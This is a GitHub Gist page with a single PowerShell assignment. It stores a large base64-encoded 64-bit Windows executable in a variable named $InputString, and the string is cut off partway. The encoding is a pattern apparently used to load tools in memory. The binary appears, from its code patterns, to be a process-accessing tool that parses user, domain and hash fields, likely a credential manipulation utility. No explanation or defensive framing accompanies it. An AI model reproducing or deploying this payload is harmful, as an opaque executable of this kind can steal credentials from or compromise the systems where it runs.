Last active
December 23, 2017 22:41
-
-
Save Genora51/6c6c1a0c875863e7341cdd750949c3f2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$InputString = '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